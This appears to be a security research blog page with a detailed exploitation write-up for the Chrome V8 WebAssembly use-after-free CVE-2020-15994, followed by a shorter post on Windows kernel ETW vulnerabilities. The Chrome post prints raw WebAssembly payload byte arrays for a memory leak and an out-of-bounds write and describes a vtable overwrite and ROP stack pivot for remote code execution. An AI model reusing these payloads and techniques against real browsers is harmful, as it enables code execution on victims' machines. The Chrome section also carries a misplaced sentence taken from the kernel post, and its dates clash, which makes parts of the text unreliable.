Friday, January 15, 2021

Uncovering and Exploiting the Chrome WebAssembly Use-After-Free CVE-2020-15994

Posted on: Wed, Jan 15 2021

Introduction

CVE-2020-15994 reported by Johnathan Norman (@spoofyroot), Microsoft Browser Security Research team member was patched with release of Chrome 86 on October 13th, 2020.

This is a use-after-free vulnerability in V8, the Javascript engine of Google Chrome and classified as important with high exploitability.

The vulnerability exists in WebAssembly engine of V8 and can be used for Chrome remote code execution. You can see the Johanthan's PoC code here.

But we should resolve a lot of problems to exploit this vulnerability and get remote code execution using this regress code.

During the analysis of the vulnerability I found the possibility for changing the vulnerability type and developed new exploit technique that can be used for exploiting the vulnerabilities in other components of Chrome including Blink and WebAssembly.

In this post I will share all the details of my analysis.

Vulnerability

AsyncCompileJob Object

I constructed new PoC code using WebAssembly.instantiateStreaming API function instead of WebAssembly.compileStreaming function used in the public PoC code.

Here is the usage of WebAssembly.instantiateStreaming function.

AsyncCompileJob object is just the main V8 object that is used in the process of WebAssembly.instantiateStreaming function.

This object supports asynchronous compilation of WebAssembly using WebAssembly.compileStreaming or WebAssembly.instantiateStreaming function.

The value of rdx register is not validated and used as a offset in the input buffer so that it can be used for reading arbitrary address. The bug was fixed by checking the value of the rdx register.

AsyncCompileJob class is declared in module-compiler.h as following.

Here the most important functions are ~AsyncCompileJob, Abort, PrepareRuntimeObjects and FinishModule and I will explain these functions and related objects briefly.

The first one is ~AsyncCompileJob, the destructor of the AsyncCompileJob class.

In the above source code, the destructor of AsyncCompileJob class destructs its member variable module_object in the process of destructing the object.

This code will be used effectively for finding the method of code execution in the next steps.

AsyncCompileJob::FinishModule function is called for instantiating the compiled WebAssembly code as Javascript object. Finishing this function the WebAssembly engine removes AsyncCompileJob object because compilation is already finished.

The last function to review is AsyncCompileJob::Abort function.

This function is called in the case of failure for downloading the WebAssembly code and removes AsyncCompileJob object for canceling all compilation process.

As you can see above there is a possibility for triggering use-after-free because there are different ways to free the AsyncCompileJob object.

Root Cause Analysis

I’m not going to describe the detailed processes of the WebAssembly engine and the different function calls but the root cause of the vulnerability and the related functions briefly.

Compiling the WebAssembly code, a Javascript object called importObject is used as a parameter for indicating the interface of WebAssembly and Javascript codes.

In other words, in the case of compiling WebAssembly code using WebAssembly.instantiateStreaming function, it indicates importObject as the interface for accessing the Javascript functions and objects from WebAssembly code.

The call stack of WebAssembly.instantiateStreaming function is following.

The most remarkable function in the above call stack is just InstanceBuilder::SanitizeImports function. As you can see here the functions are called from above mentioned AsyncCompileJob object.

This function interprets the importObject parameter and here we can call Javascript callback function as following.

If we define the Getter accessor to importObject, InstanceBuilder::SanitizeImports function just calls the Getter function as a callback.

Furthermore, if we can call AsyncCompileJob::Abort function in this callback function we can trigger use-after-free returning to AsyncCompileJob::FinishModule function. We can implement this scenario using AbortController WebAPI object and finally get new PoC code.

Exploitation

Derivation

We can get the following crash log by executing above new PoC code.

We can recognize that the crash occurs at (1) in the source code.

The module_object variable is defined in AsyncCompileJob class as following.

The module_object is a global handle that indicates the WasmModuleObject containing the information of compiled WebAssembly code and it was already destroyed at this point with the destruction of AsyncCompileJob object.

If we creates new global handle in V8 or Blink, the module_object will indicate newly create handle and therefore there is a possibility for changing the vulnerability type to type confusion because new object can be referenced instead of WasmModuleObject.

Compiling new WebAssembly code after triggering the vulnerability in the callback function, the new global handle corresponding to new WebAssembly code will be created and indicated by module_object variable and thus information leak and code execution is possible because old WebAssembly code is instantiated based on the new WasmModuleObject information.

Information Leak

We can leak required information in InstanceBuilder::LoadDataSegments function using two WebAssembly codes containing different data segments.

In more detail, by setting large data segment size of compiled WebAssembly code and small size of newly created one we can obtain information with the result of intantiating based on new WebAssembly code.

In the following source code, Size variable is the size of data segment of old WebAssembly code and wire_bytes is the WASM code of new WebAssembly code by type confusion and thus we can get out-of-bound read by memcpy function.

Followings are full WebAssembly codes and Javascript code used for information leak.

wasmCode_Info = new Uint8Array([
     0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0x99,
     0x01,0x01,0x92,0x01,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x01,0x66,0x00,0x00,0x05,0x03,0x01,0x00,0x10,0x07,
     0x07,0x01,0x03,0x6D,0x65,0x6D,0x02,0x00,0x0B,0x46,0x01,0x00,0x41,0x00,0x0B,0x40,
     0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F,
     0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,
     0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,
     0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F
]);

wasmCode_InfoHandle = new Uint8Array([
     0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0x99,
     0x01,0x01,0x92,0x01,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,0x61,
     0x61,0x61,0x61,0x61,0x61,0x61,0x01,0x66,0x00,0x00,0x05,0x03,0x01,0x00,0x10,0x07,
     0x07,0x01,0x03,0x6D,0x65,0x6D,0x02,0x00,0x00,0x1E,0x01,0x31,0x00,0x00,0x00,0x00,
     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
]);

Code Execution

We can execute arbitrary code by overwriting the virtual table of a certain Blink object in InstanceBuilder::ProcessImportedWasmGlobalObject function using WebAssembly codes containing different number of global objects.

The result of instance->imported_mutable_globals function is the buffer for compiled WebAssembly code and global.index is the index for new WebAssembly code and therefore out-of-bound write occurs if the sizes are different.

These are the WebAssembly codes and Javascript codes used for code execution.

wasmCode_Oob = new Uint8Array([
     0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0xC0,
     0x03,0x40,0x01,0x61,0x01,0x66,0x00,0x00,0x01,0x62,0x01,0x21,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x22,0x03,0x7C,0x01,0x01,0x62,0x01,0x23,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x24,0x03,0x7C,0x01,0x01,0x62,0x01,0x25,0x03,0x7C,0x01,0x01,0x62,0x01,0x26,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x27,0x03,0x7C,0x01,0x01,0x62,0x01,0x28,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x29,0x03,0x7C,0x01,0x01,0x62,0x01,0x2A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x2B,0x03,0x7C,0x01,0x01,0x62,0x01,0x2C,0x03,0x7C,0x01,0x01,0x62,0x01,0x2D,
     0x03,0x7C,0x01,0x01,0x62,0x01,0x2E,0x03,0x7C,0x01,0x01,0x62,0x01,0x2F,0x03,0x7C,
     0x01,0x01,0x62,0x01,0x30,0x03,0x7C,0x01,0x01,0x62,0x01,0x31,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x32,0x03,0x7C,0x01,0x01,0x62,0x01,0x33,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x34,0x03,0x7C,0x01,0x01,0x62,0x01,0x35,0x03,0x7C,0x01,0x01,0x62,0x01,0x36,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x37,0x03,0x7C,0x01,0x01,0x62,0x01,0x38,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x39,0x03,0x7C,0x01,0x01,0x62,0x01,0x3A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x3B,0x03,0x7C,0x01,0x01,0x62,0x01,0x3C,0x03,0x7C,0x01,0x01,0x62,0x01,0x3D,
     0x03,0x7C,0x01,0x01,0x62,0x01,0x3E,0x03,0x7C,0x01,0x01,0x62,0x01,0x3F,0x03,0x7C,
     0x01,0x01,0x62,0x01,0x40,0x03,0x7C,0x01,0x01,0x62,0x01,0x41,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x42,0x03,0x7C,0x01,0x01,0x62,0x01,0x43,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x44,0x03,0x7C,0x01,0x01,0x62,0x01,0x45,0x03,0x7C,0x01,0x01,0x62,0x01,0x46,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x47,0x03,0x7C,0x01,0x01,0x62,0x01,0x48,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x49,0x03,0x7C,0x01,0x01,0x62,0x01,0x4A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x4B,0x03,0x7C,0x01,0x01,0x62,0x01,0x4C,0x03,0x7C,0x01,0x01,0x62,0x01,0x4D,
     0x03,0x7C,0x01,0x01,0x62,0x01,0x4E,0x03,0x7C,0x01,0x01,0x62,0x01,0x4F,0x03,0x7C,
     0x01,0x01,0x62,0x01,0x50,0x03,0x7C,0x01,0x01,0x62,0x01,0x51,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x52,0x03,0x7C,0x01,0x01,0x62,0x01,0x53,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x54,0x03,0x7C,0x01,0x01,0x62,0x01,0x55,0x03,0x7C,0x01,0x01,0x62,0x01,0x56,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x57,0x03,0x7C,0x01,0x01,0x62,0x01,0x58,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x59,0x03,0x7C,0x01,0x01,0x62,0x01,0x5A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x5B,0x03,0x7C,0x01,0x01,0x62,0x01,0x5C,0x03,0x7C,0x01,0x01,0x62,0x01,0x5D,
     0x03,0x7C,0x01,0x01,0x62,0x01,0x5E,0x03,0x7C,0x01,0x01,0x62,0x01,0x5F,0x03,0x7C,
     0x01
]);

wasmCode_OobHandle = new Uint8Array([
     0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x04,0x01,0x60,0x00,0x00,0x02,0xAB,
     0x03,0x3D,0x01,0x61,0x01,0x66,0x00,0x00,0x01,0x62,0x01,0x21,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x22,0x03,0x7C,0x01,0x01,0x62,0x01,0x23,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x24,0x03,0x7C,0x01,0x01,0x62,0x01,0x25,0x03,0x7C,0x01,0x01,0x62,0x01,0x26,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x27,0x03,0x7C,0x01,0x01,0x62,0x01,0x28,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x29,0x03,0x7C,0x01,0x01,0x62,0x01,0x2A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x2B,0x03,0x7C,0x01,0x01,0x62,0x01,0x2C,0x03,0x7C,0x01,0x01,0x62,0x01,0x2D,
     0x03,0x7C,0x01,0x01,0x62,0x01,0x2E,0x03,0x7C,0x01,0x01,0x62,0x01,0x2F,0x03,0x7C,
     0x01,0x01,0x62,0x01,0x30,0x03,0x7C,0x01,0x01,0x62,0x01,0x31,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x32,0x03,0x7C,0x01,0x01,0x62,0x01,0x33,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x34,0x03,0x7C,0x01,0x01,0x62,0x01,0x35,0x03,0x7C,0x01,0x01,0x62,0x01,0x36,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x37,0x03,0x7C,0x01,0x01,0x62,0x01,0x38,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x39,0x03,0x7C,0x01,0x01,0x62,0x01,0x3A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x3B,0x03,0x7C,0x01,0x01,0x62,0x01,0x3C,0x03,0x7C,0x01,0x01,0x62,0x01,0x3D,
     0x03,0x7C,0x01,0x01,0x62,0x01,0x3E,0x03,0x7C,0x01,0x01,0x62,0x01,0x3F,0x03,0x7C,
     0x01,0x01,0x62,0x01,0x40,0x03,0x7C,0x01,0x01,0x62,0x01,0x41,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x42,0x03,0x7C,0x01,0x01,0x62,0x01,0x43,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x44,0x03,0x7C,0x01,0x01,0x62,0x01,0x45,0x03,0x7C,0x01,0x01,0x62,0x01,0x46,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x47,0x03,0x7C,0x01,0x01,0x62,0x01,0x48,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x49,0x03,0x7C,0x01,0x01,0x62,0x01,0x4A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x4B,0x03,0x7C,0x01,0x01,0x62,0x01,0x4C,0x03,0x7C,0x01,0x01,0x62,0x01,0x4D,
     0x03,0x7C,0x01,0x01,0x62,0x01,0x4E,0x03,0x7C,0x01,0x01,0x62,0x01,0x4F,0x03,0x7C,
     0x01,0x01,0x62,0x01,0x50,0x03,0x7C,0x01,0x01,0x62,0x01,0x51,0x03,0x7C,0x01,0x01,
     0x62,0x01,0x52,0x03,0x7C,0x01,0x01,0x62,0x01,0x53,0x03,0x7C,0x01,0x01,0x62,0x01,
     0x54,0x03,0x7C,0x01,0x01,0x62,0x01,0x55,0x03,0x7C,0x01,0x01,0x62,0x01,0x56,0x03,
     0x7C,0x01,0x01,0x62,0x01,0x57,0x03,0x7C,0x01,0x01,0x62,0x01,0x58,0x03,0x7C,0x01,
     0x01,0x62,0x01,0x59,0x03,0x7C,0x01,0x01,0x62,0x01,0x5A,0x03,0x7C,0x01,0x01,0x62,
     0x01,0x5B,0x03,0x7C,0x01,0x01,0x62,0x01,0x5C,0x03,0x7C,0x01
]);

Stack Pivot

I chose the MediaStreamTrack and WebAudioMediaStreamSource objects in Blink for information leak and code execution. These objects are located on the same heap as the WebAssembly engine objects and we can use general Windows heap spray techniques for stable remote code execution.

And I used the following ROP gadgets for code execution and used chrome!gin::`anonymous namespace'::PageAllocator::SetPermissions function for setting the RWX permission for arbitrary memory regions.


Saturday, January 9, 2021

Windows Kernel Vulnerabilities Found in a Single Function

 Posted on: Fri, Jan 10 2021

Introduction

During the analysis of Windows kernel vulnerabilities, I’ve recognized more than 5 bugs have existed in a single function EtwpNotifyGuid. The bugs are CVE-2020-1033, CVE-2020-1034, CVE-2021- 1662, CVE-2021-1682 and so on. It is so amazing fact that more than 5 bugs exists in a single Windows kernel function.

This post will deep dive into the details of the vulnerabilities and the fixes released by Microsoft.

CVE-2020-1033: Windows Kernel Information Disclosure Vulnerability

The bug was disclosed by Microsoft Product Security & Vulnerability Research team member (@gabe_k) and patched on September 8th, 2020. It is caused due to invalid check of the input data as following.

The value of rdx register is not validated and used as a offset in the input buffer so that it can be used for out-of-bound read. The bug was fixed by checking the value of the rdx register.

CVE-2020-1034: Windows Kernel Elevation of Privilege Vulnerability

This bug was also discovered by Microsoft Product Security & Vulnerability Research team and patched at the same time as CVE-2020-1033.

The details of this vulnerability were fully published immediately by Yarden Shafir of Crowdstrike and unanme2096.

CVE-2021-1662: Windows Event Tracing Elevation of Privilege Vulnerability

The vulnerability was discovered by madongze (@YanZiShuang) of DBAPPSecurity and patched on January 12th, 2021. The invalid bound check for input buffer causes out-of-bound access in the kernel pool and lead to privilege escalation.

As you can see, the bound check could be passed if input_buffer_length is 0x90 and v10 is 0x40 and thus out-of-bound access is possible in EtwpValidateTraceControlFilterDescriptors function. This can be abused for privilege escalation exploitation.

Microsoft fixes the bug by checking the length of the buffer in EtwpValidateTraceControlFilterDescriptors function as following.

CVE-2021-1682: Windows Kernel Elevation of Privilege Vulnerability

This vulnerability was also found by DBAPPSecurity member Min Li (@lm0963) and patched with CVE-2021-1662. It is a heap buffer overflow vulnerability caused by invalid bound check. EtwpNotifyGuid function copies the input buffer using EtwpAllocDataBlock function and accesses offset 0x50 to it. Of course the buffer size should be larger than 0x48 by previous checks, but it can be smaller than 0x50. Therefore, it will overwrite the next pool header and cause memory corruption.

The fix of the bug would be trivial.

Conclusion

Only one of the above bugs is information disclosure vulnerability and the others are all elevation of privilege vulnerability that can be used for Chrome sandbox escape. And there is still one more vulnerability in the process of same control code of NtTraceControl function.

This fact says that ETW component is very vulnerable part of Windows kernel and more bugs could be discovered in this component.

Unveiling CVE-2024-38112 in the Shadows of Internet Explorer

Overview Recent security research uncovered a new vulnerability within Windows systems that exploits Internet Explorer to execute remote cod...